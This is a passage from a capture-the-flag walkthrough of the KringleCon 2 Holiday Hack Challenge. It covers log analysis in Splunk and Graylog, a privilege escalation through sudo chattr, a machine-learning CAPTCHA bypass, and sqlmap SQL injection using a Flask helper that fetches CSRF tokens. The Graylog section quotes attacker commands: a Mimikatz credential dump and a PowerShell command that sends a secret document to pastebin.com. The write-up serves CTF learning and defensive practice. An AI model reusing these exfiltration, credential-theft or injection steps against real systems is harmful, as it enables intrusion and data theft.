Howmany unique email addresses were used to send Holiday Cheer essays to Professor Banas?Please provide the numeric value. (Example: 1)
This was my first introduction to stoQ, and it was awesome. I had never seen it before (nor hadmyfriends, who are actual Blue Teamers and see Splunk certainly more o�en than I do) and tinkering withit for this task was very cool.
stoQ lets us see all of the di�erent properties and attributes included in e-mails, all churned up andable to be fed to Splunk. We could see the “to” and “from” sender addresses, the e-mail contents, andeven attachments that could be stored in the separate File Archive location.
A�er Alice Bluebird explained some of the syntax, I was able to tinker with the search queries andextract some worthwhile information.
To find unique usernames, though, admittedly I went back to mymore command-line origins.
I searchedwithindex=main sourcetype=stoq | table results{}.workers.smtp.toand then I copied the results to a text file.
John Hammond 50
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.75: SMTP E-mail addresses
I removed all the instances of ..carl.banas.. and converted everything to lowercase, so I couldsimply use Bash like so:
cat email_addresses.txt | strings -n 4 | sort | uniq | wc -l
The answer to the fi�h training question is:
21
John Hammond 51
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.76: Training Question #5 Complete
2.9.7 Training Question #6
What was the password for the zip archive that contained the suspicious file?
Alice Bluebird even explains this training question should not be too di�icult.
I found this from the old original search, index=main sourcetype=stoq | table_time results{}.workers.smtp.to results{}.workers.smtp.from re-sults{}.workers.smtp.subject results{}.workers.smtp.body | sort -_time, just by reading the first result.
Figure 2.77: Finding the answer to Training Question #6
The body of the e-mail shows the password.
The answer to the sixth training question is:
123456789
Figure 2.78: Training Question #6 Complete
John Hammond 52
KringleCon 2: Turtle Doves 2020-01-13
2.9.8 Training Question #7
What email address did the suspicious file come from?
And the final training question is another task that is not too di�icult, based o� of the results we alreadyhave within Splunk.
We can see the e-mail address for the sender already in the properties of our previous search!
The answer to the seventh training question is:
Figure 2.79: Training Question #7 Complete
2.9.9 Capstone Question
What was the message for Kent that the adversary embedded in this attack?
Now that we have completed all of the training questions, Alice Bluebirdwas willing to o�er somegood insight on the final capstone question.
We had tracked down the malicious e-mail, the malicious document stager, and the malicious pay-load. Some other SOC analysts had noticed something peculiar in the properties of the maliciousdocument.
With the help of the File Archive, and some of the syntax help that Alice Bluebird provided for us, I wasable to download pieces of the document!
John Hammond 53
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.80: Finding files part of the malicious document
In fact, I was able to download the core.xml file that is the necessary backbone to the documentitself!
https://elfu-soc.s3.amazonaws.com/stoQ%20Artifacts/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4
Looking at that core.xml file, I could see the message:
Figure 2.81: Finding files part of the malicious document
The answer for Objective #6 is:
Kent you are so unfair. And we were going to make you the king of theWinter Carnival.
At last, Objective #6 is done!
John Hammond 54
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.82: Completed Objective #6 - Splunk
2.9.10 Frosty Keypad - Tangle Coalbox’s Challenge
Now on to Objective #7.
Again, doing the due diligence, I ventured o� to Minty’s Dorm Room so I could speak toMinty Candy-cane, whomight o�er somemore tips for this objective.
Up until now, I had not needed to head east of The Quad. At this point, though, I could see from signsthat The Dormitorywas in that direction!
However, the doorway was blocked. Tangle Coalboxwas there with a Frosty Keypad, and I figured Iwould ask what was going on!
Figure 2.83: Talking with Tangle Coalbox
John Hammond 55
KringleCon 2: Turtle Doves 2020-01-13
Turns out the FrostyKeypadneeds a special number code to be unlocked. Thankfully, Tangle Coalboxhad a few hints to share that could me crack the code!
Figure 2.84: Frosty Keypad Clues
Figure 2.85: The Frosty Keypad
Now, looking at the keypad, I could see the numbers that were pressed and with the given clues
John Hammond 56
KringleCon 2: Turtle Doves 2020-01-13
I could track down potential candidates for the code. I shamelessly stole some code online to beable todetermine thenext primenumber (https://www.geeksforgeeks.org/program-to-find-the-next-prime-number/) , and then I wrote a quick-and-dirty Python script for the otherconditions that Tangle Coalbox told me about.
from string import digits
good_keys = [str(x) for x in [1, 3, 7]] # only 1, 3 and 7 are usedbad_keys = set(digits) - set(good_keys) # ignore the other numbersN = 3 # just start somewhere for counting primes
while True:
# https://geeksforgeeks.org/program-to-find-the-next-prime-numberN = nextPrime(N)string = str(N)
for x in good_keys:if x in str(string): # if each of the good #s are present
for y in bad_keys: # none of of the bad #s are...if y in str(string):
break # (fail otherwise)else:
try: # ... then look for repeatsindex = string.index(x)if string[index+1] == x:
for z in good_keys: # and ensure ALL goodif z not in string: # numbers are present!
break # (fail otherwise)else:
print(string)except:
continue
if N > 10000:break # limit our loop so we don't spiral to infinity
Note that the code for the function nextPrime is not shown above, for brevity’s sake. You can see
John Hammond 57
KringleCon 2: Turtle Doves 2020-01-13
the code at the proper resource online if you would like.
Figure 2.86: Python code results
Now I had a few potential candidates, and if none of these worked, I could increase the upper boundonmy script and try other pincodes.
I tried 7331 as the a pincode, and it worked!
Figure 2.87: 7331 is the correct code
Now I could move into The Dormitory.
John Hammond 58
KringleCon 2: Turtle Doves 2020-01-13
2.10 Entering The Dormitory
Inside of The Dormitory, I could see Pepper Minstix in the center, andMinty Candycane o� to theright. Each of themwas beside a Cranberry Pi, and probably needed help with something!
Figure 2.88: Inside of The Dormitory
2.10.1 Holiday Hack Trail - Minty Candycane’s Cranberry Pi
Since I knew Minty Candycanemight be able to help with Objective #7, I went up and spoke withher!
Figure 2.89: Chatting with Minty Candycane
John Hammond 59
KringleCon 2: Turtle Doves 2020-01-13
It sounds like she was playing The Holiday Hack Trail, seemingly a Cranberry Pi terminal challenge,based o� the old “Oregon Trail” video game. Ha!
Figure 2.90: The Holiday Hack Trail
Without even thinking, I burned through the first splash screen by just clicking “EASY” as a di�iculty. I
John Hammond 60
KringleCon 2: Turtle Doves 2020-01-13
waswanting towork through this simplywithout any friction so I could get through to the real objective,so that is just where mymouse instinctively went to!
I noticed, at the very top, I could see a URL bar that included the web address for the game. That wasdi�erent than any other Cranberry Pi challenge.
I fumbled around with the text entry boxes for some time, seeing if I could do anything interesting orsupply odd-ball values. . . eventually, I went to watch Chris Elgee’s KringleCon talk to sort of narrowmy scope here. With that, I noticed while playing the game, there were HTTP GET variables or specificparameters in the URL that looked to be critical to what was really happening on-screen. I thought itwas peculiar.
I realized that the goal was to travel the full “8000” in distance. . . and in the URL, there was a parameterthat seemed to reflect howmuch distance was already travelled!
I did not realize until now thatwas only present in the EASY di�iculty! Seems I had stumbled uponit without even realizing.
So, I tried to adjust the distance variable in the URL to just under 8000! That way I would havealready travelled the entire trail and perhaps I could win?
Figure 2.91: Success - URL distance hack wins!
That did it! With that little hack, I could skip the whole trail and beat the game!
John Hammond 61
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.92: Completed the Holiday Hack Trail Challenge
Now I could speak withMinty Candycane and see if she had any pointers for Objective #7.
Figure 2.93:Minty Candycane’s Advice for Objective #7
Sounds like there is a “key grinder” in her room.. .? And supposedly that would help with Objective#7?
I foundMinty Candycane’s dorm room to the far right, just through the door that was le� slightly openin the corner of The Dormitory.
John Hammond 62
KringleCon 2: Turtle Doves 2020-01-13
2.10.2 Objective #7 - Get Access To The Steam Tunnels
I went in toMinty Candycane’s dorm room.
Figure 2.94:Minty Candycane’s Dorm Room
I noticed that when I walked in, a player seemed to walk right through the door ahead. . . and the doorclosed! It physically closed, like the door swung from open to closed – animated. I had never seen ananimation like that happen throughout KringleCon thus far!
I went to the door to follow that player, and it brought me in to a very small room (a closet, it seemed)apparenly with clothes on the floor and a what looked like a keyhole on the wall. But, the player wasnowhere to be found!
John Hammond 63
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.95: The Closet
A�er walking back out of the closet, back inMinty Candycane’s dorm room, I noticed the door wasopen once again – and that player was back in the same spot! A�er a second or two, he hobbled up tothe door again, and it swung shut.
Then I realized: that wasn’t a player at all!
That must be another Holiday Hack Challenge character, purposefully placed there, walking in to thatcloset. . . maybe to interact with the keyhole!
I thought back to whatMinty Candycane had said. “Maybe you’ll see someone hopping around with a
John Hammond 64
KringleCon 2: Turtle Doves 2020-01-13
key here on campus. . .”. . . that must be him!
When I entered the dormroom, I could see the character’s image retrieved within the Network tab ofthe Developer Tools in my Browser, just asMinty Candycane suggested.
Figure 2.96: Network Tools. . . it’s Krampus!
Downloaded, the image filename was “krampus.png” This Krampus character looked like he wascarrying a key!
I thought, considering whatMinty Candycane had said, maybe we could use this key, just by seeing it,to gain access through that keyhole in the closet.
John Hammond 65
KringleCon 2: Turtle Doves 2020-01-13
I reviewed the dialogue with Minty Candycane and went o� to watch Deviant Ollam’s talk. Thistechnique was super cool.
(Side note: I ran into Deviant Ollam at the SANS CDI/NETWARS Tournament of Champions eventin Washington, DC, and this was an awesome conversation starter. Very surreal to be able to meethim and chat about this cool trick during the social hour there!)
Using some of Deviant’s key bitting templates, I could determine the actual bitting values for the keythat Krampus has and recreate it!
Figure 2.97: Rotating and resizing the key within GIMP
git clone "https://github.com/deviantollam/decoding"
Figure 2.98: The Schlage Key Decoder
I worked with the Schlage key decoder inside of GIMP. I would resize, rotate, and keep adjusting untilI had the lines on the decoder lined up with the key.
John Hammond 66
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.99: The decoder lined up with the key
A�er just a fewminutes, I was able to determine the values:
12252
I thought that looked right enough!
Initially, I fumbled here for some time, trying to remove all the background color and everything fromthe image of the key that Krampuswas wearing, or trying to find some sort of key generator onlinewith that bitting value. . .
Eventually I remembered back to whatMinty Candycane had said, she had a key grinder in her dormroom! That must have been what that thing on the table was. I went back to use it:
John Hammond 67
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.100:Minty Candycane’s Key Grinder
Ah – it looked like the key bitting values should be a total of six digits. . . I only had 5! Looking back atthe decoder, I could see one just at the end notch of the key really could be considered zero.
My final value was:
122520
. . . and I made that with the key grinder!
John Hammond 68
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.101: New Key
The preview from the key grinder did not look like it had the cuts in place, but I thought perhaps thatwas just from the preview. . . I downloaded the precise image on its own:
John Hammond 69
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.102: The Recreated Key
And that looked perfect, certainly a match to what Krampuswas holding.
Now, the question was, could I go use that within the closet in the dorm room, on that keyhole on thewall?
Figure 2.103: The Keyhole on the Wall
John Hammond 70
KringleCon 2: Turtle Doves 2020-01-13
Supplying the new key that I created (clicking on the keys in the top le� corner, selecting that imagefile to upload, and then clicking on the keyhole). . . the key turned, and it opened!
Suddenly, I had access to the steam tunnels!
Figure 2.104: Access to the Steam Tunnels
Figure 2.105: Completed - Get Access to the Steam Tunnels Challenge
Walking inside the steam tunnels, it was a few long, dark hallways (er, tunnels). At the very end of thetunnel, we catch Krampus, and can speak to him! He introduces himself as Krampus Hollyfeld andconfesses that itwas himwho took the two turtle doves!
John Hammond 71
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.106: Krampus says he did it!
Now, I can answer the real question to Objective #7:
Figure 2.107: Objective #7 - Get Access To The Steam Tunnels
John Hammond 72
KringleCon 2: Turtle Doves 2020-01-13
The answer for Objective #7 is:
Krampus Hollyfeld
2.11 Quick detour to the Speaker Unpreparedness Room
Well now that Objective #7 is out of the way, Krampus Hollyfeldwastes no time telling us to move onto Objective #8. For this Objective, some helpful suggestions could apparently be o�ered by AlabasterSnowball back in the Speaker Unpreparedness Room.
I knew thatwas back inHermeyHall, so I hobbled all theway back over there on the complete oppositeend of The Quad! Inside of the Speaker Unpreparedness Room, I saw and spoke with AlabasterSnowball.
Figure 2.108: Alabaster Snowball’s Quibbles
John Hammond 73
KringleCon 2: Turtle Doves 2020-01-13
2.11.1 Nyanshell - Alabaster Snowball’s Cranberry Pi
Sounds like his Cranberry Pi is acting up. I went to take a look!
Figure 2.109: Nyanshell
John Hammond 74
KringleCon 2: Turtle Doves 2020-01-13
This explained that we needed to log in as the alabaster_snowball user. It o�ered credentialsthat we could use:
Target Credentials:
username: alabaster_snowball
password: Password2
So, it seemed easy enough to just switch to the user:
su alabaster_snowball
But a�er entering the password, all that did was stick us in a non-interactive Nyancat loop. . .
Figure 2.110: Nyancat loop
I thought to take a look at /etc/passwd and check if this was a di�erent shell binary set for thealabaster_snowball user.
John Hammond 75
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.111: Viewing /etc/passwd
Sure enough, it looks like the alabaster_snowball user has a di�erent default shell set – they areusing /bin/nsh, which seems new tome.
I wanted to get an idea as to what /bin/nsh really was, so I ran file on it (turned out to be a binary,not a script). I could extract plaintext strings or do other file reconaissance work, but that didn’t reallyhelp me all that much.
I took a look at the permissions of the file with ls -l /bin/nsh:
-rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nsh
Oh! Any user could write to it! Well, then, I could just overwrite the file with the original /bin/bash,that didn’t seem too bad.
Figure 2.112: Viewing /etc/passwd
“Operation not permitted?” What?
The permissions seemed fine, but, that wouldn’t work for some reason. I thought to go another route.I could just use usermod -s to switch the users default shell, but I didn’t have the privileges forthat. . .
. . . then I remembered what Alabaster Snowball had said! What about sudo -l?
Matching Defaults entries for elf on f96ccb851573:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\...
User elf may run the following commands on f96ccb851573:(root) NOPASSWD: /usr/bin/chattr
Everything clicked, this all make sense.
John Hammond 76
KringleCon 2: Turtle Doves 2020-01-13
I could not overwrite the file previously because it must have been marked immutable by chattr.But, since our user can run that with sudo, we can remove the immutable bit and then fix the shell!
I followed suit and switched to the alabaster_snowball user.
Figure 2.113: Overwriting Nyanshell
Figure 2.114: Completed Nyanshell - Alabaster Snowball’s Cranberry Pi
Success! Now that we had helped Alabaster Snowball, we could ask if he could help us!
John Hammond 77
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.115: Alabaster’s Tips
So this tells us about the Frido Sleigh contest, which is apparently only for elves – but we need to win,as part of our objectives! It soundsmachine learning is what we need to use to beat the “CAPTEHA”challenge.
John Hammond 78
KringleCon 2: Turtle Doves 2020-01-13
2.11.2 Objective #8 - Bypassing the Frido Sleigh CAPTEHA
Figure 2.116: Objective #8 - Bypassing the Frido Sleigh CAPTEHA
The link to the website is as follows:
https://fridosleigh.com/
Figure 2.117: The Frido Sleigh Contest
Looking at the webpage, it seems we are “ineligible” for the contest! Unfortunately I am not an elf, noram I 180 years or older.
But, per our objective, we need to bypass this. I filled in some bogus information for the input fields,and then went to click “I’m not a human” for the “CAPTEHA”.
John Hammond 79
KringleCon 2: Turtle Doves 2020-01-13
Apparently, I need to select all of the images in a given category, from this large display. . . in under fiveseconds! That is just plain impossible.
At least, it is impossible formy poor human brain – I need to be acting like an elf! ConsideringAlabasterSnowball’s tips, I can take advantage ofmachine learning to do this.
If we could have collect a catalogue of known images, in each of the di�erent categories, we could havea computer model trained to know the di�erence between them, and then detect and identify newand unknown pictures. . . ultimately solving the CAPTEHA!
From our previous conversation with Krampus Hollyfeld, he has an archive of 12,000 images, andsome source code to work through the Frido Sleigh API interface.
Admittedly, this is very new to me – I have never done any real work with machine learning. So, I tooka look at the KringleCon II talk by Chris Davis and got a bit smarter with TensorFlow. With all of thepieces of the puzzle that they gave me, this didn’t seem extremely di�icult.
Here is the code that Krampus Hollyfeld o�ered me, included as an image (it takes up way more thanjust one page as text):
John Hammond 81
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.119: The CAPTEHA API code
I needed to modify this use a pre-trained computer model to be able to detect and identify the givencategories. So, firstly I needed to dive into the machine learning code!
I pulled down the code given by Chris Davis. First, I made sure I had TensorFlow and all the requireddependencies installed and available onmymachine.
sudo apt install python3-pipsudo python3 -m pip install --upgrade pipsudo python3 -m pip install --upgrade setuptoolssudo python3 -m pip install --upgrade tensorflow==1.15
John Hammond 82
KringleCon 2: Turtle Doves 2020-01-13
When I followed through with Chris Davis’s given example and demonstration, it took my computer along time to train the model. I think over 10 minutes. And that was just 12 pictures! How was I going todo that with 12,000!?
What I decided to do was significantly cut down the number of training images. I figured it could stilldetect the object, considering the distinct shapes – and if it failed once or twice, that was fine – as itsaid in the code, I could run it just a fewmore times until it found the sweet spot and got it right.
So I opened up Nautilus, my file browser, and then took a look at howmany thumbnail images wouldbe able to fit on my screen display at one time. It was around 130 images or so. All the others in a givencategory, I removed! Ultimately, it shaved the 12,000 image pile into about 950. I figured the pictureswere small, so if 12 “large” pictures from the example demonstration would take 10 minutes, maybethese tiny ones wouldn’t take more than. . . . a day, I suppose, being optimistic. Hopefully!
Regardless, now that I had trimmed down the sample data set, I could train the computer modelwith the retrain.py Python script, o�ered by Chris Davis. With frido being the parent directoryhosting all the subdirectories for the di�erent picture categories, I ran:
python3 retrain.py --image_dir frido/
And, to my surprise, this finished in. . . under five minutes!
Now I tookbits andpiecesof the thepredict_images_using_trained_model.py that Iwouldneed toblend in to thecapteha_api.py file thatKrampsHollyfeldgaveme. Honestly I just jammedin the necessary TensorFlow boilerplate at the top of script, and tweaked the inputs so that it wouldpull from new trainedmodel we had.
Also, I could see from the API script, that the images were returned from the website as their Base64encoded bytes. I took that data, decoded it, and stu�ed that into the image_bytes variable. ThenTensorFlow could work its magic without an issue!
Here is the adapted code I put in place of the “MISSING IMAGE PROCESSING ANDML IMAGE PREDICTIONCODE GOES HERE” comment (note the TensorFlow boilerplate would be above, it not showcased inthis excerpt):
John Hammond 83
KringleCon 2: Turtle Doves 2020-01-13
# Load the trained model created from running retrain.pygraph = load_graph("/tmp/retrain_tmp/output_graph.pb")labels = load_labels("/tmp/retrain_tmp/output_labels.txt")
# Load up our sessioninput_operation = graph.get_operation_by_name("import/Placeholder")output_operation = graph.get_operation_by_name("import/final_result")sess = tf.compat.v1.Session(graph=graph)
q = queue.Queue() # Use queues & threading to spead up the processing
for image in b64_images:img_b64 = image["base64"]uuid = image["uuid"]image_bytes = base64.b64decode(img_b64)print("Processing Image {}".format(uuid))while len(threading.enumerate()) > 10:
time.sleep(0.0001) # Don't process too many images at once.
threading.Thread(target=predict_image,args=( q, sess, graph, image_bytes, uuid, labels,
input_operation, output_operation),).start()
while q.qsize() < len(b64_images):time.sleep(0.001)
prediction_results = [q.get() for x in range(q.qsize())]
final_answer = []for prediction in prediction_results:
print( "TensorFlow Predicted {img_full_path} is a {prediction} \with {percent:.2%} Accuracy".format(**prediction))
if prediction["prediction"] in challenge_image_types:final_answer.append(prediction["img_full_path"])
John Hammond 84
KringleCon 2: Turtle Doves 2020-01-13
This became a bit of a sloppy modified_capteha_api.py script, but it would get the job done. Ifilled in my real e-mail address, and ran it to see if it would work!
Figure 2.120: Bypassed the CAPTEHA!
It worked! I got the e-mail, and had won the Frido Sleigh contest!
Figure 2.121: E-mail from Frido Sleigh
The answer for Objective #8 is:
8Ia8LiZEwvyZr2WO
John Hammond 85
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.122: Completed Objective #8 - Bypassing the Frido Sleigh CAPTEHA
2.12 Going back to the Steam Tunnels
With Objective #8 complete, I could once again talk withKrampusHollyfeld and he could tell memoreabout what’s going on I hobbled back there and got more intel.
Figure 2.123: Krampus tells us about the scraps of paper
John Hammond 86
KringleCon 2: Turtle Doves 2020-01-13
Krampus Hollyfeld explains to us that the scraps of paper he spoke about previously were le� on hisserver – and he cannot get back to them! He trusts us to break into the server and find the pieces ofpaper. He also gives us an awesome new capability, to teleport around Elf University within our badge.This will come in handy – as before I tackle Objective #9, I want to work through another Cranberry Pichallenge! For this objective, we can assist Pepper Minstix in The Dormitory.
2.12.1 Graylog - Pepper Minstix’s Cranberry Pi
I remember seeing Pepper Minstix in the center in The Dormitory, so I teleported there and went tospeak with her!
Figure 2.124: Pepper Minstix’s Problems
Pepper Minstix needs help with Graylog to fill out an incident response report. I walked over to theCranberry Pi to see how I could help. The credentials were elfustudent/elfustudent.
John Hammond 87
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.125: Graylog
Figure 2.126: Incident Response Report
John Hammond 88
KringleCon 2: Turtle Doves 2020-01-13
Upon pulling up the Incident Response Report from the bottom right corner, I could see there were lotsof questions I needed to answer, and I could use Graylog to accomplish all of the tasks.
First, I select the “Allmessages” stream to search in, and switched the timeline toquery “in allmessages”rather than just the last five minutes.
2.12.2 Question #1
Minty CandyCane reported someweird activity on his computer a�er he clicked on a link in Firefoxfor a cookie recipe and downloaded a file.
What is the full-path + filename of the first malicious file downloaded by Minty?
For this question, I simply searched for the term “downloads”.
Figure 2.127: Question 1 result - Searching for “downloads”
The answer was:
C:\Users\minty\Downloads\cookie_recipe.exe
A�er filling in the correct answer, the page would o�er some hints or guidelines. They say:
John Hammond 89
KringleCon 2: Turtle Doves 2020-01-13
We can find this searching for sysmon file creation event id 2 with a process named firefox.exeand not junk .temp files. We can use regular expressions to include or exclude patterns: Tar-getFilename:/.+\.pdf/
2.12.3 Question #2
The malicious file downloaded and executed by Minty gave the attacker remote access to hismachine. What was the ip:port the malicious file connected to first?
I searched for cookie_recipe.exe, then turned on the DestinationIP field on the le� side,and clicked on that to search results for it in the listing.
Figure 2.128: Question 2 result - “cookie_recipe.exe” with DestinationIP
The answer was:
192.168.247.175:4444
They say:
We can pivot o� the answer to our first question using the binary path as our ProcessImage.
2.12.4 Question #3
John Hammond 90
KringleCon 2: Turtle Doves 2020-01-13
What was the first command executed by the attacker? (answer is a single word)
For this question, I honestly completely guessed. I answered with just what I tend to use when I firstget on a target box.
The answer was:
whoami
I followed through with the given hint and found this formally.
Since all commands (sysmon event id 1) by the attacker are initially running through thecookie_recipe.exe binary, we can set its full-path as our ParentProcessImage to find childprocesses it creates sorting on timestamp.
2.12.5 Question #4
What is the one-word service name the attacker used to escalate privileges?
Knowing that I was searching for a service and theywere alreadyworking on the command-line, I madesure to include sc.exe as part of my search query. My final search query was:
ParentProcessImage:"C:\Users\minty\Downloads\cookie_recipe.exe" sc.exeand I had included CommandLine as a field to display. I could see the
Figure 2.129: Question 4 result - “sc.exe” with CommandLine field
The answer was:
webexservice
They say:
John Hammond 91
KringleCon 2: Turtle Doves 2020-01-13
Continuing on using the cookie_recipe.exe binary as our ParentProcessImage, weshould see somemore commands later on related to a service.
2.12.6 Question #5
What is the file-path + filename of the binary ran by the attacker to dump credentials?
Since this was asking for a binary, I searched for:
.exe ParentProcessImage:"C:\Users\minty\Downloads\cookie_recipe.exe"
. . . and I added CommandLine as a field to include.
Sorting by time, I could see them download the Mimikatz package from GitHub, saved as acookie.zip. I could also see the download Mimikatz executables, and call them “cookie.exe”.
I saw this entry:
C:\Windows\system32\cmd.exe /c "C:\cookie.exe "privilege::debug""sekurlsa::logonpasswords" exit "
And the "privilege::debug" "sekurlsa::logonpasswords" really confirmed this was infact Mimikatz.
Figure 2.130: Question 5 result - “C:\cookie.exe” acting as Mimikatz
The answer was:
C:\cookie.exe
They say:
John Hammond 92
KringleCon 2: Turtle Doves 2020-01-13
The attacker elevates privileges using the vulnerable webexservice to run a file calledcookie_recipe2.exe. Let’s use this binary path in our ParentProcessImage search.
2.12.7 Question #6
The attacker pivoted to another workstation using credentials gained from Minty’s computer.Which account name was used to pivot to another machine?
Using the same search term I had previously, I could just add the UserAccount field to the display,and a�er following through a few commands I could see the pivot and the new user.
When I was searching through this the very first time, I had eventually stumbled upon this entry:
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeInvoke-WebRequest -Uri https://pastebin.com/post.php -Method POST-Body @{ "submit_hidden" = "submit_hidden"; "paste_code" =$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));"paste_format" = "1"; "paste_expire_date" = "N";"paste_private" = "0"; "paste_name"="cookie recipe" }
That showcased some valuable information. Seeing the username in the path, I submitted the an-swer:
alabaster
They say:
Windows Event Id 4624 is generated when a user network logon occurs successfully. We can alsofilter on the attacker’s IP using SourceNetworkAddress.
2.12.8 Question #7
What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to anothermachine?
I needed to do some research for this to find Windows Event log IDs for RDP.
https://ponderthebits.com/2018/02/windows-rdp-related-event-logs-identification-tracking-and-investigation/
John Hammond 93
KringleCon 2: Turtle Doves 2020-01-13
I used the search: EventID:4624.
Figure 2.131: Question 7 result - RDP timestamps
The answer was:
06:04:28
They say:
LogonType 10 is used for successful network connections using the RDP client.
2.12.9 Question #8
The attacker navigates the file systemof a third host using their RemoteDesktopConnection to thesecond host. What is the SourceHostName,DestinationHostname,LogonType of this connection?
Using the previous answer information. I “pivoted” from there with the SourceHostName and User-Account info, searchingwithSourceHostName:ELFU-RES-WKS2 UserAccount:ELFU-RES-WKS2$
The answer was:
ELFU-RES-WKS2,elfu-res-wks3,3
They say:
John Hammond 94
KringleCon 2: Turtle Doves 2020-01-13
The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to accessthe file system of of workstation 3 using explorer.exe via UNC file paths (which is why we don’tsee any cmd.exe or powershell.exe process creates). However, we still see the successful networkauthentication for this with event id 4624 and logon type 3.
2.12.10 Question #9
What is the full-path + filename of the secret research document a�er being transferred from thethird host to the second host?
From that .exe search I had ran previously (when I found the PowerShell POST to pastebin.com) Icould see the filename and path included.
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeInvoke-WebRequest -Uri https://pastebin.com/post.php -Method POST-Body @{ "submit_hidden" = "submit_hidden"; "paste_code" =$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));"paste_format" = "1"; "paste_expire_date" = "N";"paste_private" = "0"; "paste_name"="cookie recipe" }
The answer was:
C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
They say:
We can look for sysmon file creation event id of 2 with a source of workstation 2. We can alsouse regex to filter out overly common file paths using something like: AND NOT TargetFile-name:/.+AppData.+/
2.12.11 Question #10
What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?
I used the search
_exists_:SourceHostName _exists_:DestinationHostname_exists_:LogonType EventID:4624
John Hammond 95
KringleCon 2: Turtle Doves 2020-01-13
There I could see the PowerShell command to call out to pastebin. I selected the DestionationIpas a field to display, and the first result with that search contains the answer.
Figure 2.132: Question 10 result - Searching for the PowerShell Pastebin POST
The answer was:
104.22.3.84
They say:
We can look for the original document in CommandLine using regex.
Whenwedo that, we see a long a long PowerShell commandusing Invoke-Webrequest to a remoteURL of https://pastebin.com/post.php.
We can pivot o� of this information to look for a sysmon network connection id of 3 with a sourceof elfu-res-wks2 and DestinationHostname of pastebin.com.
This completed the Graylog Incident Response Report!
Figure 2.133: Incident Response Report Completed
John Hammond 96
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.134: Completed Pepper Minstix Cranberry Pi Challenge
Now I could speak to Pepper Minstix and see what advice she had for Objective #9!
Figure 2.135: Pepper Minstix suggests SQLMAP
Pepper Minstix suggests using sqlmap against the Elf U server. I went to take a look at the server!
John Hammond 97
KringleCon 2: Turtle Doves 2020-01-13
2.12.12 Objective #9 - Retrieve Scraps of Paper from Server
Figure 2.136: Objective #9 - Retrieve Scraps of Paper from Server
I could access the website at this link.
https://studentportal.elfu.org/
One page I could see where I seemed to have any user interaction was at /apply.php. At first I filledout some fields manually:
John Hammond 98
KringleCon 2: Turtle Doves 2020-01-13
Another interesting page I saw was the /check.phpwhere I could “check the application status.”
Figure 2.138: Checking the Application Status
Having a little a bit of a nudge from Pepper Minstix, I knew I would be targeting one of these pageswith sqlmap. Considering there were somany input fields to test against on the apply.php page(and it would seemingly always return a static response, “your application was submitted”) I opted tocheck for SQL injections againt the /check.php page.
I could see in the Network Tab of the Developer Tools in my browser, this page would actually end upGET-ing a page at the URL /application-check.php, which HTTP parameters included, but witha specifc token.
This token seemed to come from the request before – retrieved at /validator.php.
Figure 2.139: The HTTP requests for checking an application
John Hammond 100
KringleCon 2: Turtle Doves 2020-01-13
Upon examining the source code of the /check.php page, I could even see the HTML and JavaScriptthat explained this functionality.
Figure 2.140: The JavaScript getting the “validator” token
Curious, I wanted to check out the /validator.php.
John Hammond 101
KringleCon 2: Turtle Doves 2020-01-13
MTAxMDIwMzM2NTEyMTU3ODQ0Mjc1ODEwMTAyMDMzNi41MTI=_MTI5MzA2MDMwNzM1MzYzMjMyNjUwNzY4LjM4NA==
All it did was return this unique token! I noticed that it would change upon every refresh. This is clearlysome sort of Cross-Site Request Forgery token.
I perused the manual page for sqlmap and took a look to see if it do anything about this CSRF token.When I tried to run sqlmap initially, it noticed the token argument and asked how it should handle it.In the man page, I noticed there were in fact a few arguments that could be given to sqlmap to fill invalues for the token – but they needed to be included in a specific HTML input element. For this case,just simply being returned by /validator.php, I needed to do some special work-arounds.
So, I had not solved this with sqlmap tamper scripts, as Pepper Minstix had suggested. Instead, I dida small trick by grabbing the /validator.php given token, and stu�ing it in an HTML input fieldthat Iwas hosting – so it could be rapidly retrieved by sqlmap.
I spun up a small Python Flask server that looked like this:
#!/usr/bin/env python
from flask import *import requests
app = Flask(__name__)
@app.route('/')def index():
token_url = "https://studentportal.elfu.org/validator.php"
r = requests.get(token_url)token = r.text
return '<input type="hidden" name="token" value="%s">' % token
app.run()
All this would do is host a website, that when accessed, would grab the token value given from /val-idator.php and serve it up in an HTML field so sqlmap could take it and understand it.
Then, I could specify sqlmapwith these arguments:
John Hammond 102
KringleCon 2: Turtle Doves 2020-01-13
sqlmap --csrf-url="http://127.0.0.1:5000/" --csrf-token=token -u"https://studentportal.elfu.org/application-check.php?elfmail=&token="
And sqlmapwould request my local page to fill in the correct values for the token.
Figure 2.141: The Python Flask server o�ering real tokens
With that in place, soon enough, sqlmap finds it to be vulnerable to SQL injection!
Figure 2.142: SQLMAP detects an inject point
This took some time to work through, but eventually sqlmap did perfect a reusable exploit that couldleak out information from the database.
John Hammond 103
KringleCon 2: Turtle Doves 2020-01-13
Figure 2.143: SQLMAP exploit found
Finally, I could leak out portions of the database:
